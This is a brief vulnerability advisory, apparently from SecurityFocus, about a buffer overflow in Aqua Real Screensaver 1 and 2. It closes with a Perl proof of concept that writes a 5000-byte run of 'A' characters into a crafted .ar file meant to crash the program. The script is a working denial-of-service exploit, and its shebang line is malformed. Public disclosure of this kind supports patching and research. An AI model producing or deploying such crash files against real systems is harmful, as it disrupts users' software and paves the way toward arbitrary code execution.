source: http://www.securityfocus.com/bid/40606/info

Aqua Real Screensaver is prone to a buffer-overflow vulnerability because it fails to perform adequate boundary checks on user-supplied input.

Successfully exploiting this issue may allow remote attackers to execute arbitrary code in the context of the vulnerable application. Failed attacks will cause denial-of-service conditions.

Aqua Real 1 and 2 are vulnerable; other versions may also be affected. 

#!c/perl/bin/
my $file= "Crash.ar";
my $boom="\x41" x 5000;
open(myfile,'>>Crash.ar') || die "Cannot Creat file\n\n";
print myfile $boom;
print "Done..!~#\n";